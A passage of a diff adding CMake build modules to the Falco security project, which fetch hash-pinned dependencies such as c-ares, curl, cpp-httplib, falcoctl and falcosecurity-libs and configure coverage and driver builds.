+	set(CMAKE_CXX_FLAGS_DEBUG "${FALCOSECURITY_LIBS_DEBUG_FLAGS}")
+
+	set(CMAKE_C_FLAGS_RELEASE "${FALCOSECURITY_LIBS_RELEASE_FLAGS}")
+	set(CMAKE_CXX_FLAGS_RELEASE "${FALCOSECURITY_LIBS_RELEASE_FLAGS}")
+
+	set(CMAKE_C_FLAGS_RELWITHDEBINFO "${FALCOSECURITY_LIBS_RELWITHDEBINFO_FLAGS}")
+	set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "${FALCOSECURITY_LIBS_RELWITHDEBINFO_FLAGS}")
+
+endif()

cmake/modules/Coverage.cmake

@@ -0,0 +1,29 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+# Tests coverage
+option(FALCO_COVERAGE "Build test suite with coverage information" OFF)
+if(FALCO_COVERAGE)
+	if(NOT (("${CMAKE_CXX_COMPILER_ID}" MATCHES "GNU") OR ("${CMAKE_CXX_COMPILER_ID}" MATCHES
+														   "Clang"))
+	)
+		message(FATAL_ERROR "FALCO_COVERAGE requires GCC or Clang.")
+	endif()
+
+	message(STATUS "Building with coverage information")
+	add_compile_options(-g --coverage)
+	set(CMAKE_SHARED_LINKER_FLAGS "--coverage ${CMAKE_SHARED_LINKER_FLAGS}")
+	set(CMAKE_EXE_LINKER_FLAGS "--coverage ${CMAKE_EXE_LINKER_FLAGS}")
+endif()

cmake/modules/cares.cmake

@@ -0,0 +1,78 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+option(USE_BUNDLED_CARES "Enable building of the bundled c-ares" ${USE_BUNDLED_DEPS})
+
+if(CARES_INCLUDE)
+	# we already have c-ares
+elseif(NOT USE_BUNDLED_CARES)
+	find_path(CARES_INCLUDE NAMES cares/ares.h ares.h)
+	find_library(CARES_LIB NAMES cares)
+	if(CARES_INCLUDE AND CARES_LIB)
+		message(STATUS "Found c-ares: include: ${CARES_INCLUDE}, lib: ${CARES_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system c-ares")
+	endif()
+else()
+	if(BUILD_SHARED_LIBS)
+		set(CARES_LIB_SUFFIX ${CMAKE_SHARED_LIBRARY_SUFFIX})
+		set(CARES_STATIC_OPTION "Off")
+	else()
+		set(CARES_LIB_SUFFIX ${CMAKE_STATIC_LIBRARY_SUFFIX})
+		set(CARES_STATIC_OPTION "On")
+	endif()
+	set(CARES_SRC "${PROJECT_BINARY_DIR}/c-ares-prefix/src/c-ares")
+	set(CARES_INCLUDE "${CARES_SRC}/include/")
+	set(CARES_LIB "${CARES_SRC}/lib/libcares${CARES_LIB_SUFFIX}")
+
+	if(NOT TARGET c-ares)
+		message(STATUS "Using bundled c-ares in '${CARES_SRC}'")
+		ExternalProject_Add(
+			c-ares
+			PREFIX "${PROJECT_BINARY_DIR}/c-ares-prefix"
+			URL "https://github.com/c-ares/c-ares/releases/download/v1.33.1/c-ares-1.33.1.tar.gz"
+			URL_HASH "SHA256=06869824094745872fa26efd4c48e622b9bd82a89ef0ce693dc682a23604f415"
+			BUILD_IN_SOURCE 1
+			CMAKE_ARGS -DCMAKE_POLICY_DEFAULT_CMP0091:STRING=NEW
+					   -DCMAKE_MSVC_RUNTIME_LIBRARY=${CMAKE_MSVC_RUNTIME_LIBRARY}
+					   -DCMAKE_INSTALL_LIBDIR=lib
+					   -DCARES_SHARED=${BUILD_SHARED_LIBS}
+					   -DCARES_STATIC=${CARES_STATIC_OPTION}
+					   -DCARES_STATIC_PIC=${ENABLE_PIC}
+					   -DCARES_BUILD_TOOLS=Off
+					   -DCARES_INSTALL=Off
+					   -DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
+			BUILD_BYPRODUCTS ${CARES_INCLUDE} ${CARES_LIB}
+			INSTALL_COMMAND ""
+		)
+		install(
+			FILES "${CARES_LIB}"
+			DESTINATION "${CMAKE_INSTALL_LIBDIR}/${LIBS_PACKAGE_NAME}"
+			COMPONENT "libs-deps"
+		)
+		install(
+			DIRECTORY "${CARES_INCLUDE}"
+			DESTINATION "${CMAKE_INSTALL_INCLUDEDIR}/${LIBS_PACKAGE_NAME}"
+			COMPONENT "libs-deps"
+		)
+	endif()
+
+endif()
+
+if(NOT TARGET c-ares)
+	add_custom_target(c-ares)
+endif()
+
+include_directories("${CARES_INCLUDE}")

cmake/modules/copy_files_to_build_dir.cmake

@@ -0,0 +1,33 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+function(copy_files_to_build_dir source_files targetsuffix)
+
+	set(build_files)
+
+	foreach(file_path ${source_files})
+		get_filename_component(trace_file ${file_path} NAME)
+		list(APPEND build_files ${CMAKE_CURRENT_BINARY_DIR}/${trace_file})
+	endforeach()
+
+	add_custom_target(copy-files-${targetsuffix} ALL DEPENDS ${build_files})
+
+	add_custom_command(
+		OUTPUT ${build_files}
+		COMMAND ${CMAKE_COMMAND} -E copy_if_different ${source_files} ${CMAKE_CURRENT_BINARY_DIR}
+		DEPENDS ${source_files}
+	)
+
+endfunction()

cmake/modules/cpp-httplib.cmake

@@ -0,0 +1,35 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+option(USE_BUNDLED_CPPHTTPLIB "Enable building of the bundled cpp-httplib" ${USE_BUNDLED_DEPS})
+
+if(USE_BUNDLED_CPPHTTPLIB)
+	set(HTTPLIB_USE_BROTLI_IF_AVAILABLE OFF)
+	set(HTTPLIB_REQUIRE_BROTLI OFF)
+	set(HTTPLIB_USE_ZLIB_IF_AVAILABLE OFF)
+	set(HTTPLIB_REQUIRE_ZLIB OFF)
+	set(HTTPLIB_USE_ZSTD_IF_AVAILABLE OFF)
+	set(HTTPLIB_REQUIRE_ZSTD OFF)
+	set(HTTPLIB_USE_NON_BLOCKING_GETADDRINFO OFF)
+	include(FetchContent)
+	FetchContent_Declare(
+		cpp-httplib
+		URL https://github.com/yhirose/cpp-httplib/archive/refs/tags/v0.23.1.tar.gz
+		URL_HASH SHA256=410a1347ed6bcbcc4a19af8ed8ad3873fe9fa97731d52db845c4c78f3f9c31e6
+	)
+	FetchContent_MakeAvailable(cpp-httplib)
+else()
+	find_package(httplib CONFIG REQUIRED)
+endif()

cmake/modules/curl.cmake

@@ -0,0 +1,100 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+option(USE_BUNDLED_CURL "Enable building of the bundled curl" ${USE_BUNDLED_DEPS})
+
+include(openssl)
+include(zlib)
+
+if(CURL_INCLUDE_DIRS)
+	# we already have curl
+elseif(NOT USE_BUNDLED_CURL)
+	find_package(CURL REQUIRED)
+	message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIRS}, lib: ${CURL_LIBRARIES}")
+else()
+	if(BUILD_SHARED_LIBS)
+		set(CURL_LIB_SUFFIX ${CMAKE_SHARED_LIBRARY_SUFFIX})
+		set(CURL_STATIC_OPTION)
+	else()
+		set(CURL_LIB_SUFFIX ${CMAKE_STATIC_LIBRARY_SUFFIX})
+		set(CURL_STATIC_OPTION --disable-shared)
+	endif()
+	set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
+	set(CURL_INCLUDE_DIRS "${CURL_BUNDLE_DIR}/include/")
+	set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl${CURL_LIB_SUFFIX}")
+
+	if(NOT USE_BUNDLED_OPENSSL)
+		set(CURL_SSL_OPTION "--with-ssl")
+	else()
+		set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
+		message(STATUS "Using SSL for curl in '${OPENSSL_INSTALL_DIR}'")
+	endif()
+
+	if(NOT USE_BUNDLED_ZLIB)
+		set(CURL_ZLIB_OPTION "--with-zlib")
+	else()
+		set(CURL_ZLIB_OPTION "--with-zlib=${ZLIB_SRC}")
+		message(STATUS "Using zlib for curl in '${ZLIB_SRC}'")
+	endif()
+	message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
+
+	if(NOT ENABLE_PIC)
+		set(CURL_PIC_OPTION)
+	else()
+		set(CURL_PIC_OPTION "--with-pic")
+	endif()
+
+	if(NOT TARGET curl)
+		ExternalProject_Add(
+			curl
+			PREFIX "${PROJECT_BINARY_DIR}/curl-prefix"
+			DEPENDS openssl zlib
+			URL "https://github.com/curl/curl/releases/download/curl-8_7_1/curl-8.7.1.tar.bz2"
+			URL_HASH "SHA256=05bbd2b698e9cfbab477c33aa5e99b4975501835a41b7ca6ca71de03d8849e76"
+			CONFIGURE_COMMAND
+				./configure ${CURL_SSL_OPTION} ${CURL_ZLIB_OPTION} ${CURL_STATIC_OPTION}
+				${CURL_PIC_OPTION} --enable-optimize --disable-curldebug --disable-rt --enable-http
+				--disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp
+				--disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb
+				--disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp
+				--without-winssl --without-polarssl --without-cyassl --without-nss --without-axtls
+				--without-librtmp --without-winidn --without-libidn2 --without-libpsl
+				--without-nghttp2 --without-libssh2 --with-ca-path=/etc/ssl/certs/
+				--disable-threaded-resolver --without-brotli --without-zstd
+			BUILD_COMMAND make
+			BUILD_IN_SOURCE 1
+			BUILD_BYPRODUCTS ${CURL_LIBRARIES}
+			INSTALL_COMMAND ""
+		)
+		install(
+			FILES "${CURL_LIBRARIES}"
+			DESTINATION "${CMAKE_INSTALL_LIBDIR}/${LIBS_PACKAGE_NAME}"
+			COMPONENT "libs-deps"
+		)
+		install(
+			DIRECTORY "${CURL_INCLUDE_DIRS}curl"
+			DESTINATION "${CMAKE_INSTALL_INCLUDEDIR}/${LIBS_PACKAGE_NAME}"
+			COMPONENT "libs-deps"
+			FILES_MATCHING
+			PATTERN "*.h"
+		)
+	endif()
+endif()
+
+if(NOT TARGET curl)
+	add_custom_target(curl)
+endif()
+
+include_directories("${CURL_INCLUDE_DIRS}")

cmake/modules/cxxopts.cmake

@@ -0,0 +1,45 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+#
+# cxxopts (https://github.com/jarro2783/cxxopts)
+#
+
+option(USE_BUNDLED_CXXOPTS "Enable building of the bundled cxxopts" ${USE_BUNDLED_DEPS})
+
+if(CXXOPTS_INCLUDE_DIR)
+	# we already have cxxopts
+elseif(NOT USE_BUNDLED_CXXOPTS)
+	find_package(cxxopts CONFIG REQUIRED)
+	get_target_property(CXXOPTS_INCLUDE_DIR cxxopts::cxxopts INTERFACE_INCLUDE_DIRECTORIES)
+elseif(NOT TARGET cxxopts)
+	set(CXXOPTS_SRC "${PROJECT_BINARY_DIR}/cxxopts-prefix/src/cxxopts/")
+	set(CXXOPTS_INCLUDE_DIR "${CXXOPTS_SRC}/include")
+
+	message(STATUS "Using bundled cxxopts in ${CXXOPTS_SRC}")
+
+	ExternalProject_Add(
+		cxxopts
+		URL "https://github.com/jarro2783/cxxopts/archive/refs/tags/v3.0.0.tar.gz"
+		URL_HASH "SHA256=36f41fa2a46b3c1466613b63f3fa73dc24d912bc90d667147f1e43215a8c6d00"
+		CONFIGURE_COMMAND ""
+		BUILD_COMMAND ""
+		INSTALL_COMMAND ""
+	)
+endif()
+
+if(NOT TARGET cxxopts)
+	add_custom_target(cxxopts)
+endif()

cmake/modules/driver-repo/CMakeLists.txt

@@ -0,0 +1,32 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+cmake_minimum_required(VERSION 3.5.1)
+
+project(driver-repo NONE)
+
+include(ExternalProject)
+message(STATUS "Driver repository: ${DRIVER_REPO}")
+message(STATUS "Driver version: ${DRIVER_VERSION}")
+
+ExternalProject_Add(
+	driver
+	URL "https://github.com/${DRIVER_REPO}/archive/${DRIVER_VERSION}.tar.gz"
+	URL_HASH "${DRIVER_CHECKSUM}"
+	CONFIGURE_COMMAND ""
+	BUILD_COMMAND ""
+	INSTALL_COMMAND ""
+	TEST_COMMAND ""
+	PATCH_COMMAND sh -c "mv ./driver ../driver.tmp && rm -rf ./* && mv ../driver.tmp/* ."
+)

cmake/modules/driver.cmake

@@ -0,0 +1,66 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2026 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+set(DRIVER_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/driver-repo")
+set(DRIVER_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/driver-repo")
+
+file(MAKE_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR})
+
+if(DRIVER_SOURCE_DIR)
+	set(DRIVER_VERSION "0.0.0-local")
+	message(STATUS "Using local version for driver: '${DRIVER_SOURCE_DIR}'")
+else()
+	# DRIVER_REPO accepts a repository name (<org name>/<repo name>) alternative to the
+	# falcosecurity/libs repository. In case you want to test against a fork of falcosecurity/libs
+	# just pass the variable - ie., `cmake -DDRIVER_REPO=<your-gh-handle>/libs ..`
+	if(NOT DRIVER_REPO)
+		set(DRIVER_REPO "falcosecurity/libs")
+	endif()
+
+	# DRIVER_VERSION accepts a git reference (branch name, commit hash, or tag) to the
+	# falcosecurity/libs repository which contains the driver source code under the `/driver`
+	# directory. The chosen driver version must be compatible with the given
+	# FALCOSECURITY_LIBS_VERSION. In case you want to test against another driver version (or
+	# branch, or commit) just pass the variable - ie., `cmake -DDRIVER_VERSION=dev ..`
+	if(NOT DRIVER_VERSION)
+		set(DRIVER_VERSION "7b08f8a0a12b56d59eab73052e637ca123623f61")
+		set(DRIVER_CHECKSUM
+			"SHA256=43c72a98e48d04177c8223ccdfe88de6f09958f2330b6b9ee26882f1a77e369f"
+		)
+	endif()
+
+	# cd /path/to/build && cmake /path/to/source
+	execute_process(
+		COMMAND
+			"${CMAKE_COMMAND}" -DCMAKE_BUILD_TYPE="${CMAKE_BUILD_TYPE}" -DDRIVER_REPO=${DRIVER_REPO}
+			-DDRIVER_VERSION=${DRIVER_VERSION} -DDRIVER_CHECKSUM=${DRIVER_CHECKSUM}
+			${DRIVER_CMAKE_SOURCE_DIR}
+		WORKING_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR}
+	)
+
+	# cmake --build .
+	execute_process(
+		COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${DRIVER_CMAKE_WORKING_DIR}"
+	)
+	set(DRIVER_SOURCE_DIR "${DRIVER_CMAKE_WORKING_DIR}/driver-prefix/src/driver")
+endif()
+
+add_definitions(-D_GNU_SOURCE)
+
+set(DRIVER_NAME "falco")
+set(DRIVER_PACKAGE_NAME "falco")
+set(DRIVER_COMPONENT_NAME "falco-driver")
+
+add_subdirectory(${DRIVER_SOURCE_DIR} ${PROJECT_BINARY_DIR}/driver)

cmake/modules/falco-version.cmake

@@ -0,0 +1,56 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+# Retrieve git ref and commit hash
+include(GetVersionFromGit)
+
+# Get Falco version variable according to git index
+if(NOT FALCO_VERSION)
+	set(FALCO_VERSION "0.0.0")
+	get_version_from_git(FALCO_VERSION "" "")
+endif()
+
+# Remove the starting "v" in case there is one
+string(REGEX REPLACE "^v(.*)" "\\1" FALCO_VERSION "${FALCO_VERSION}")
+
+string(REGEX MATCH "^(0|[1-9][0-9]*)" FALCO_VERSION_MAJOR "${FALCO_VERSION}")
+string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\..*" "\\2" FALCO_VERSION_MINOR
+					 "${FALCO_VERSION}"
+)
+string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*).*" "\\3"
+					 FALCO_VERSION_PATCH "${FALCO_VERSION}"
+)
+string(
+	REGEX
+	REPLACE
+		"^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)-((0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)(\\.(0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*))*).*"
+		"\\5"
+		FALCO_VERSION_PRERELEASE
+		"${FALCO_VERSION}"
+)
+
+if(FALCO_VERSION_PRERELEASE STREQUAL "${FALCO_VERSION}")
+	set(FALCO_VERSION_PRERELEASE "")
+endif()
+if(NOT FALCO_VERSION_BUILD)
+	string(REGEX REPLACE ".*\\+([0-9a-zA-Z-]+(\\.[0-9a-zA-Z-]+)*)" "\\1" FALCO_VERSION_BUILD
+						 "${FALCO_VERSION}"
+	)
+endif()
+if(FALCO_VERSION_BUILD STREQUAL "${FALCO_VERSION}")
+	set(FALCO_VERSION_BUILD "")
+endif()
+
+message(STATUS "Falco version: ${FALCO_VERSION}")

cmake/modules/falcoctl.cmake

@@ -0,0 +1,56 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2025 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+include(ExternalProject)
+
+option(ADD_FALCOCTL_DEPENDENCY "Add falcoctl dependency while building falco" ON)
+
+if(ADD_FALCOCTL_DEPENDENCY)
+	string(TOLOWER ${CMAKE_HOST_SYSTEM_NAME} FALCOCTL_SYSTEM_NAME)
+
+	set(FALCOCTL_VERSION "0.12.2")
+
+	message(STATUS "Building with falcoctl: ${FALCOCTL_VERSION}")
+
+	if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
+		set(FALCOCTL_SYSTEM_PROC_GO "amd64")
+		set(FALCOCTL_HASH "7e0e232aa73825383d3382b3af8a38466289a768f9c1c7f25bd7e11a3ed6980a")
+	else() # aarch64
+		set(FALCOCTL_SYSTEM_PROC_GO "arm64")
+		set(FALCOCTL_HASH "9b7dd75189f997da6423bcdb5dfe68840f20c56f95d30d323d26d0c4bd75a8e3")
+	endif()
+
+	ExternalProject_Add(
+		falcoctl
+		URL "https://github.com/falcosecurity/falcoctl/releases/download/v${FALCOCTL_VERSION}/falcoctl_${FALCOCTL_VERSION}_${FALCOCTL_SYSTEM_NAME}_${FALCOCTL_SYSTEM_PROC_GO}.tar.gz"
+		URL_HASH "SHA256=${FALCOCTL_HASH}"
+		CONFIGURE_COMMAND ""
+		BUILD_COMMAND ""
+		INSTALL_COMMAND ""
+	)
+
+	install(
+		PROGRAMS "${PROJECT_BINARY_DIR}/falcoctl-prefix/src/falcoctl/falcoctl"
+		DESTINATION "${FALCO_BIN_DIR}"
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+	install(
+		DIRECTORY
+		DESTINATION "${FALCO_ABSOLUTE_SHARE_DIR}/plugins"
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+else()
+	message(STATUS "Won't build with falcoctl")
+endif()

cmake/modules/falcosecurity-libs-repo/CMakeLists.txt

@@ -0,0 +1,31 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+cmake_minimum_required(VERSION 3.5.1)
+
+project(falcosecurity-libs-repo NONE)
+
+include(ExternalProject)
+message(STATUS "Libs repository: ${FALCOSECURITY_LIBS_REPO}")
+message(STATUS "Libs version: ${FALCOSECURITY_LIBS_VERSION}")
+
+ExternalProject_Add(
+	falcosecurity-libs
+	URL "https://github.com/${FALCOSECURITY_LIBS_REPO}/archive/${FALCOSECURITY_LIBS_VERSION}.tar.gz"
+	URL_HASH "${FALCOSECURITY_LIBS_CHECKSUM}"
+	CONFIGURE_COMMAND ""
+	BUILD_COMMAND ""
+	INSTALL_COMMAND ""
+	TEST_COMMAND ""
+)

cmake/modules/falcosecurity-libs.cmake

@@ -0,0 +1,164 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2026 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+set(FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR
+	"${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/falcosecurity-libs-repo"
+)
+set(FALCOSECURITY_LIBS_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/falcosecurity-libs-repo")
+
+file(MAKE_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR})
+
+# explicitly disable the bundled driver, since we pull it separately
+set(USE_BUNDLED_DRIVER
+	OFF
+	CACHE BOOL ""
+)
+
+if(FALCOSECURITY_LIBS_SOURCE_DIR)
+	set(FALCOSECURITY_LIBS_VERSION "0.0.0-local")
+	message(STATUS "Using local version of falcosecurity/libs: '${FALCOSECURITY_LIBS_SOURCE_DIR}'")
+else()
+	# FALCOSECURITY_LIBS_REPO accepts a repository name (<org name>/<repo name>) alternative to the
+	# falcosecurity/libs repository. In case you want to test against a fork of falcosecurity/libs
+	# just pass the variable - ie., `cmake -DFALCOSECURITY_LIBS_REPO=<your-gh-handle>/libs ..`
+	if(NOT FALCOSECURITY_LIBS_REPO)
+		set(FALCOSECURITY_LIBS_REPO "falcosecurity/libs")
+	endif()
+
+	# FALCOSECURITY_LIBS_VERSION accepts a git reference (branch name, commit hash, or tag) to the
+	# falcosecurity/libs repository. In case you want to test against another falcosecurity/libs
+	# version (or branch, or commit) just pass the variable - ie., `cmake
+	# -DFALCOSECURITY_LIBS_VERSION=dev ..`
+	if(NOT FALCOSECURITY_LIBS_VERSION)
+		set(FALCOSECURITY_LIBS_VERSION "7b08f8a0a12b56d59eab73052e637ca123623f61")
+		set(FALCOSECURITY_LIBS_CHECKSUM
+			"SHA256=43c72a98e48d04177c8223ccdfe88de6f09958f2330b6b9ee26882f1a77e369f"
+		)
+	endif()
+
+	# cd /path/to/build && cmake /path/to/source
+	execute_process(
+		COMMAND
+			"${CMAKE_COMMAND}" -DCMAKE_BUILD_TYPE="${CMAKE_BUILD_TYPE}"
+			-DFALCOSECURITY_LIBS_REPO=${FALCOSECURITY_LIBS_REPO}
+			-DFALCOSECURITY_LIBS_VERSION=${FALCOSECURITY_LIBS_VERSION}
+			-DFALCOSECURITY_LIBS_CHECKSUM=${FALCOSECURITY_LIBS_CHECKSUM}
+			${FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR}
+		WORKING_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}
+	)
+
+	# cmake --build .
+	execute_process(
+		COMMAND "${CMAKE_COMMAND}" --build .
+		WORKING_DIRECTORY "${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}"
+	)
+	set(FALCOSECURITY_LIBS_SOURCE_DIR
+		"${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}/falcosecurity-libs-prefix/src/falcosecurity-libs"
+	)
+endif()
+
+set(LIBS_PACKAGE_NAME "falcosecurity")
+
+if(CMAKE_SYSTEM_NAME MATCHES "Linux")
+	add_definitions(-D_GNU_SOURCE)
+endif()
+
+if(MUSL_OPTIMIZED_BUILD)
+	add_definitions(-DMUSL_OPTIMIZED)
+endif()
+
+set(SCAP_HOST_ROOT_ENV_VAR_NAME "HOST_ROOT")
+set(SCAP_HOSTNAME_ENV_VAR "FALCO_HOSTNAME")
+set(SINSP_AGENT_CGROUP_MEM_PATH_ENV_VAR "FALCO_CGROUP_MEM_PATH")
+
+if(NOT LIBS_DIR)
+	set(LIBS_DIR "${FALCOSECURITY_LIBS_SOURCE_DIR}")
+endif()
+
+# todo(ekoops): remove this once we remove gvisor from libs
+option(BUILD_LIBSCAP_GVISOR OFF)
+
+# configure modern BPF support
+set(BUILD_LIBSCAP_MODERN_BPF
+	${BUILD_FALCO_MODERN_BPF}
+	CACHE BOOL ""
+)
+
+# explicitly disable the tests/examples of this dependency
+set(CREATE_TEST_TARGETS
+	OFF
+	CACHE BOOL ""
+)
+set(BUILD_LIBSCAP_EXAMPLES
+	OFF
+	CACHE BOOL ""
+)
+set(BUILD_LIBSINSP_EXAMPLES
+	OFF
+	CACHE BOOL ""
+)
+
+set(USE_BUNDLED_TBB
+	ON
+	CACHE BOOL ""
+)
+set(USE_BUNDLED_JSONCPP
+	ON
+	CACHE BOOL ""
+)
+set(USE_BUNDLED_VALIJSON
+	ON
+	CACHE BOOL ""
+)
+set(USE_BUNDLED_RE2
+	ON
+	CACHE BOOL ""
+)
+set(USE_BUNDLED_UTHASH
+	ON
+	CACHE BOOL ""
+)
+if(USE_DYNAMIC_LIBELF)
+	set(USE_BUNDLED_LIBELF
+		OFF
+		CACHE BOOL ""
+	)
+	set(USE_SHARED_LIBELF
+		ON
+		CACHE BOOL ""
+	)
+endif()
+
+list(APPEND CMAKE_MODULE_PATH "${FALCOSECURITY_LIBS_SOURCE_DIR}/cmake/modules")
+
+include(CheckSymbolExists)
+check_symbol_exists(strlcpy "string.h" HAVE_STRLCPY)
+
+if(HAVE_STRLCPY)
